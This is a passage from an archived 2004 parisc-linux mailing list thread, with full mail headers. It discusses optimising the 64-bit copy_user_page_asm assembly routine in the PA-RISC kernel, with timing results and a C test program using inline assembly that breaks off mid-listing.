	by free.linux.hp.com (Postfix) with ESMTP
	id D1D493BE59; Mon, 27 Dec 2004 03:41:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16128-10; Mon, 27 Dec 2004 03:41:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CF37E3BE57; Mon, 27 Dec 2004 03:41:08 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 678BB3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 03:41:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16128-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 03:41:01 -0700 (MST)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id 037F63BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 03:41:00 -0700 (MST)
Original-Received: from [83.134.227.18] (helo=[83.134.227.18])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CisJ9-0003WJ-Ne; Mon, 27 Dec 2004 11:41:00 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041227073654.GI29492@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22225



Grant Grundler wrote:
> On Tue, Dec 21, 2004 at 02:37:47PM +0100, Joel Soete wrote:
> 
>>Hello all,
> 
> 
> Joel,
> I trim your postings to only include the parts I need to respond to.
> Could you please do the same?
> 
Apologies, I would just like to be as detailed as possible for the others who didn't follow our previous mail exchange before :-(

> I hate having to scroll down pages of stuff to get to your comment.
> That's probably why no one else responded.
> 
I understand that make stuff too noisy

> 
> 
>>As promised, here is a cleaner (?)  patch:
>>--- arch/parisc/kernel/pacache.S.Orig	2004-12-20 08:28:23.000000000 +0100
>>+++ arch/parisc/kernel/pacache.S	2004-12-20 14:49:35.000000000 +0100
>>@@ -295,7 +295,52 @@
>> 	.callinfo NO_CALLS
>> 	.entry
>>
>>-	ldi		64, %r1
>>+	pdtlb		0(%r25)
>>+	pdtlb		0(%r26)
> 
> 
> Sorry - I missed why the pdtlb needs to be added.
> Could you explain?

Sorry no, that was a question of mine:
the previous inplementation of copy_user_page_asm() (between #if 0 ... #endif below in the code) started with:
[...]
         /* Purge any old translations */

         pdtlb           0(%r28)
         pdtlb           0(%r29)

         ldi             64, %r1
[...]

and we do the same in __clear_user_page_asm()
[...]
         /* Purge any old translation */

         pdtlb           0(%r28)

[...]
> 
> Won't the pdtlb guarantee at least one trap per page copied?
> I would hope we guarantee the D-TLB is "clean" when calling this function.
> 
Should be why it was removed but as far as I didn't find any explanation (that's obvious: that's nearly impossible to explain all 
details of implementation ;-)

> 
>>+#ifdef __LP64__
>>+
>>+	ldi		32, %r1			/* PAGE_SIZE/128 == 32 */
>>+
>>+1:	ldd		0(%r25), %r19
>>+	ldd		8(%r25), %r20
>>+	ldd		16(%r25), %r21
>>+	ldd		24(%r25), %r22
>>+	std		%r19, 0(%r26)
>>+	std		%r20, 8(%r26)
[...]
> 
> This looks good.
> 
> PA2.0 can retire 2 loads and 2 stores per cycle IFF there are no dependencies.
> can be executed in one cycle.
> 
> That means we want something like this:
> 
> +1:	ldd		0(%r25), %r19
> +	ldd		8(%r25), %r20
> +	ldd		16(%r25), %r21
> +	ldd		24(%r25), %r22
> +	std		%r19, 0(%r26)
> +	std		%r20, 8(%r26)
> +	ldd		32(%r25), %r19
> +	ldd		40(%r25), %r20
[...]
> +	ldo		128(%r25), %r25
> +	std		%r21, 112(%r26)
> +	std		%r22, 120(%r26)
> +	ADDIB>		-1, %r1, 1b
> +	ldo		128(%r26), %r26
> ...
> 
> [ Note that I've moved the "ldo" around as well!]
> 
> More distance between the "ldd %rX" and the corresponding
> "std %rX" is generally a good thing.
> This routine could use more registers in the loop to get more "distance".
Ok that was another possibility: I trust that we can use r23, r24 as far as:
     r23-r26: these are arg3-arg0, i.e. you can use them if you
         don't care about the values that were passed in anymore.

but not more of r3-r18 because:
r3-r18,r27,r30 need to be saved and restored. r3-r18 are just
     general purpose registers. [...]

> 
> It costs us 1 cycle to save two registers on the stack.
> Once the data is in L1-Cache, IFF the CPU needs more than one cycle
> to retire successive loads, we gain several cycles assuming additional
> register pairs are used multiply times per loop.
Well that (cache management) is still far beyond my skill :-(

[...]
>>-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
...
>>+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
> 
> Please post white space changes as seperate patches.
> 
oops my bad (apologies)
> 
[...]
>>* with original 2.6.10-rc3-pa8 running kernel
>># grep "^user" k-loop1
> 
> Please use "^sys" or "^real".
> "user" time is only number that should NOT change with this patch.
> 
I will try to recover those info
> 
[...]
> 
>>So the main interest is to reduce the number of clock ticks :-)
> 
> 
> Yes. :^)
> 
Thanks for your patience and relevant remarks, I will come back we more material soon ;-)

Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: copy_user_page_asm suggested 64bit improvment [Was: [parisc-linux]
	clear user page test]
Date: Mon, 27 Dec 2004 17:34:27 +0000
Lines: 80
Approved: news@gmane.org
Message-ID: <41D047A3.4030205@tiscali.be>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>	<20041227073654.GI29492@colo.lackof.org>
	<41CFE6B1.6010707@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623631 12058 80.91.229.3 (22 Nov 2014 02:33:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:51 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2004 17:34:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 27 Dec 2004 18:34:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 69C603BE53; Mon, 27 Dec 2004 10:34:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19406-08; Mon, 27 Dec 2004 10:34:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 83ECE3BE56; Mon, 27 Dec 2004 10:34:37 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 256533BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 10:34:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19406-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 10:34:31 -0700 (MST)
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by free.linux.hp.com (Postfix) with ESMTP id 905173BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 10:34:30 -0700 (MST)
Original-Received: from [83.134.227.18] (helo=[83.134.227.18])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Ciykm-0008Gu-6x; Mon, 27 Dec 2004 18:33:56 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <41CFE6B1.6010707@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22226



Joel Soete wrote:
> 
> 
> Grant Grundler wrote:
> 
>> On Tue, Dec 21, 2004 at 02:37:47PM +0100, Joel Soete wrote:
>>
[...]
>>> * with original 2.6.10-rc3-pa8 running kernel
>>> # grep "^user" k-loop1
>>
>>
>> Please use "^sys" or "^real".
>> "user" time is only number that should NOT change with this patch.
>>
> I will try to recover those info
> 
Those results was:
k-loop1 (i.e. cvs 2.6.10-rc3-pa8)
real	23m7.594s
user	18m47.768s
sys	4m2.585s

real	22m53.506s
user	18m47.400s
sys	4m0.321s

real	22m54.599s
user	18m47.492s
sys	4m0.226s

real	22m53.410s
user	18m48.205s
sys	3m59.351s

k-loop2 (i.e. cvs 2.6.10-rc3-pa8 + patch without pdtlb)
real	23m4.170s
user	18m47.511s
sys	4m0.654s

real	22m59.651s
user	18m51.133s
sys	3m58.969s

real	23m0.391s
user	18m50.908s
sys	3m59.588s

real	22m59.401s
user	18m51.090s
sys	3m59.673s

k-loop3 (i.e. cvs 2.6.10-rc3-pa8 + full patch)
real	23m28.521s
user	18m53.815s
sys	3m57.967s

real	23m32.696s
user	18m54.045s
sys	3m58.598s

real	23m28.981s
user	18m54.774s
sys	3m58.128s

real	23m30.631s
user	18m54.405s
sys	3m58.974s


hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: copy_user_page_asm suggested 64bit improvment [Was: [parisc-linux]
	clear user page test]
Date: Mon, 27 Dec 2004 18:32:56 +0000
Lines: 73
Approved: news@gmane.org
Message-ID: <41D05558.6020600@tiscali.be>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>	<20041227073654.GI29492@colo.lackof.org>
	<41CFE6B1.6010707@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623631 12065 80.91.229.3 (22 Nov 2014 02:33:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:51 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2004 18:33:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 27 Dec 2004 19:33:29 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7EA633BE51; Mon, 27 Dec 2004 11:33:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21221-02; Mon, 27 Dec 2004 11:33:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 384523BE57; Mon, 27 Dec 2004 11:33:07 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D0A453BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 11:33:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20774-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 11:33:00 -0700 (MST)
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by free.linux.hp.com (Postfix) with ESMTP id A08163BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 11:32:59 -0700 (MST)
Original-Received: from [83.134.227.18] (helo=[83.134.227.18])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CizfN-0002Fl-0r; Mon, 27 Dec 2004 19:32:25 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <41CFE6B1.6010707@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22227



Joel Soete wrote:
> 
> 
> Grant Grundler wrote:
> 
>> On Tue, Dec 21, 2004 at 02:37:47PM +0100, Joel Soete wrote:
>>
>>> Hello all,
>>
[...]
>> This routine could use more registers in the loop to get more "distance".
> 
> Ok that was another possibility: I trust that we can use r23, r24 as far 
> as:
>     r23-r26: these are arg3-arg0, i.e. you can use them if you
>         don't care about the values that were passed in anymore.
> 
Here is a first writing just to be sure I well understand:
#ifdef __LP64__

         ldi             32, %r1                 /* PAGE_SIZE/128 == 32 */

1:      ldd             0(%r25), %r19
         ldd             8(%r25), %r20
         ldd             16(%r25), %r21
         ldd             24(%r25), %r22
         ldd             32(%r25), %r23
         ldd             40(%r25), %r24
         std             %r19, 0(%r26)
         std             %r20, 8(%r26)
         std             %r21, 16(%r26)
         std             %r22, 24(%r26)
         std             %r23, 32(%r26)
         std             %r24, 40(%r26)
         ldd             48(%r25), %r19
         ldd             56(%r25), %r20
         ldd             64(%r25), %r21
         ldd             72(%r25), %r22
         ldd             80(%r25), %r23
         ldd             88(%r25), %r24
         std             %r19, 48(%r26)
         std             %r20, 56(%r26)
         std             %r21, 64(%r26)
         std             %r22, 72(%r26)
         std             %r23, 80(%r26)
         std             %r24, 88(%r26)
         ldd             96(%r25), %r19
         ldd             104(%r25), %r20
         ldd             112(%r25), %r21
         ldd             120(%r25), %r22
         std             %r19, 96(%r26)
         std             %r20, 104(%r26)
         std             %r21, 112(%r26)
         std             %r22, 120(%r26)
         ldo             128(%r26), %r26
         ADDIB>          -1, %r1, 1b
         ldo             128(%r25), %r25

#else   /* !__LP64__ */

just have to re-arrange with distance between couple std/ldd?

What do you think?

Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: copy_user_page_asm suggested 64bit improvment
	(Test case)
Date: Tue, 28 Dec 2004 16:25:45 +0000
Lines: 435
Approved: news@gmane.org
Message-ID: <41D18909.9060308@tiscali.be>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
	<20041227073654.GI29492@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------090506050100010806040901"
X-Trace: ger.gmane.org 1416623631 12068 80.91.229.3 (22 Nov 2014 02:33:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:51 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2004 16:27:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx052) with SMTP; 28 Dec 2004 17:27:31 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2CAA03BE53; Tue, 28 Dec 2004 09:27:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00383-04; Tue, 28 Dec 2004 09:26:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AB6E33BE56; Tue, 28 Dec 2004 09:25:55 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0731A3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Dec 2004 09:25:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00383-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Dec 2004 09:25:48 -0700 (MST)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 5FF583BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Dec 2004 09:25:47 -0700 (MST)
Original-Received: from [83.134.227.52] (helo=[83.134.227.52])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CjKAL-0004x1-TW; Tue, 28 Dec 2004 17:25:46 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041227073654.GI29492@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22228

This is a multi-part message in MIME format.
--------------090506050100010806040901
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

A test case may can help better to show improvement:

gcc -O2 -o cpup0 cpup0.c
gcc -march=2.0 -O2 -DLP64 -o cpup1 cpup0.c
gcc -march=2.0 -O2 -DLP64 -DV1 -o cpup2 cpup0.c
gcc -march=2.0 -O2 -DLP64 -DV2 -o cpup3 cpup0.c

Linux patst006 2.6.10-rc3-pa4-n4kmp #3 SMP Fri Dec 10 13:45:46 CET 2004 parisc64 GNU/Linux

# time ./cpup0 ; time ./cpup1; time ./cpup2 ; time ./cpup3

real	0m2.294s
user	0m0.226s
sys	0m2.068s

real	0m2.213s
user	0m0.140s
sys	0m2.074s

real	0m2.217s
user	0m0.108s
sys	0m2.110s

real	0m2.208s
user	0m0.108s
sys	0m2.100s
# time ./cpup0 ; time ./cpup1; time ./cpup2 ; time ./cpup3

real	0m2.316s
user	0m0.197s
sys	0m2.119s

real	0m2.217s
user	0m0.117s
sys	0m2.101s

real	0m2.203s
user	0m0.119s
sys	0m2.084s

real	0m2.205s
user	0m0.126s
sys	0m2.079s
# time ./cpup0 ; time ./cpup1; time ./cpup2 ; time ./cpup3

real	0m2.316s
user	0m0.194s
sys	0m2.122s

real	0m2.211s
user	0m0.126s
sys	0m2.086s

real	0m2.208s
user	0m0.106s
sys	0m2.102s

real	0m2.217s
user	0m0.113s
sys	0m2.105s
# time ./cpup0 ; time ./cpup1; time ./cpup2 ; time ./cpup3

real	0m2.311s
user	0m0.219s
sys	0m2.093s

real	0m2.222s
user	0m0.141s
sys	0m2.082s

real	0m2.207s
user	0m0.115s
sys	0m2.093s

real	0m2.208s
user	0m0.117s
sys	0m2.091s
# time ./cpup0 ; time ./cpup1; time ./cpup2 ; time ./cpup3

real	0m2.310s
user	0m0.205s
sys	0m2.105s

real	0m2.213s
user	0m0.104s
sys	0m2.109s

real	0m2.207s
user	0m0.115s
sys	0m2.092s

real	0m2.205s
user	0m0.108s
sys	0m2.096s

I would like here to know if the order could have importance?

# time ./cpup0 ; time ./cpup1; time ./cpup3 ; time ./cpup2

real	0m2.294s
user	0m0.196s
sys	0m2.100s

real	0m2.221s
user	0m0.111s
sys	0m2.111s

real	0m2.226s
user	0m0.097s
sys	0m2.130s

real	0m2.208s
user	0m0.107s
sys	0m2.101s
# time ./cpup0 ; time ./cpup3; time ./cpup2 ; time ./cpup1

real	0m2.302s
user	0m0.200s
sys	0m2.102s

real	0m2.206s
user	0m0.110s
sys	0m2.097s

real	0m2.213s
user	0m0.108s
sys	0m2.106s

real	0m2.214s
user	0m0.123s
sys	0m2.092s
# time ./cpup3 ; time ./cpup2; time ./cpup1 ; time ./cpup0

real	0m2.209s
user	0m0.104s
sys	0m2.105s

real	0m2.221s
user	0m0.115s
sys	0m2.106s

real	0m2.227s
user	0m0.111s
sys	0m2.116s

real	0m2.296s
user	0m0.212s
sys	0m2.085s

May be more improvement in 'more register used' (i.e. V2 and cpup3)?

Joel

--------------090506050100010806040901
Content-Type: text/x-csrc;
 name="cpup0.c"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline;
 filename="cpup0.c"


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <asm/page.h>

void __copy_user_page_asm(void *to, void *from)
{
	register unsigned long __to __asm__ ("r26") =3D  (unsigned long)to;
	register unsigned long __from __asm__ ("r25") =3D  (unsigned long)from;

#ifdef LP64

asm volatile ("ldi		32, %%r1\n"	/* PAGE_SIZE/128 =3D=3D 32 */
#if V2
"1:	ldd		0(%0), %%r19\n"
"	ldd		8(%0), %%r20\n"
"	ldd		16(%0), %%r21\n"
"	ldd		24(%0), %%r22\n"
"	std		%%r19, 0(%1)\n"
"	std		%%r20, 8(%1)\n"
"	ldd		32(%0), %%r23\n"
"	ldd		40(%0), %%r24\n"
"	std		%%r21, 16(%1)\n"
"	std		%%r22, 24(%1)\n"
"	ldd		48(%0), %%r19\n"
"	ldd		56(%0), %%r20\n"
"	std		%%r23, 32(%1)\n"
"	std		%%r24, 40(%1)\n"
"	ldd		64(%0), %%r21\n"
"	ldd		72(%0), %%r22\n"
"	std		%%r19, 48(%1)\n"
"	std		%%r20, 56(%1)\n"
"	ldd		80(%0), %%r23\n"
"	ldd		88(%0), %%r24\n"
"	std		%%r21, 64(%1)\n"
"	std		%%r22, 72(%1)\n"
"	ldd		96(%0), %%r19\n"
"	ldd		104(%0), %%r20\n"
"	std		%%r23, 80(%1)\n"
"	std		%%r24, 88(%1)\n"
"	ldd		112(%0), %%r21\n"
"	ldd		120(%0), %%r22\n"
"	std		%%r19, 96(%1)\n"
"	std		%%r20, 104(%1)\n"
"	ldo		128(%0), %0\n"
"	std		%%r21, 112(%1)\n"
"	std		%%r22, 120(%1)\n"
"	addib,>		-1, %%r1, 1b\n"
"	ldo		128(%1), %1"
#else	/* !V2 */=20
"1:	ldd		0(%0), %%r19\n"
"	ldd		8(%0), %%r20\n"
"	ldd		16(%0), %%r21\n"
"	ldd		24(%0), %%r22\n"
"	std		%%r19, 0(%1)\n"
"	std		%%r20, 8(%1)\n"
#ifndef V1
"	std		%%r21, 16(%1)\n"
"	std		%%r22, 24(%1)\n"
"	ldd		32(%0), %%r19\n"
"	ldd		40(%0), %%r20\n"
"	ldd		48(%0), %%r21\n"
"	ldd		56(%0), %%r22\n"
"	std		%%r19, 32(%1)\n"
"	std		%%r20, 40(%1)\n"
"	std		%%r21, 48(%1)\n"
"	std		%%r22, 56(%1)\n"
"	ldd		64(%0), %%r19\n"
"	ldd		72(%0), %%r20\n"
"	ldd		80(%0), %%r21\n"
"	ldd		88(%0), %%r22\n"
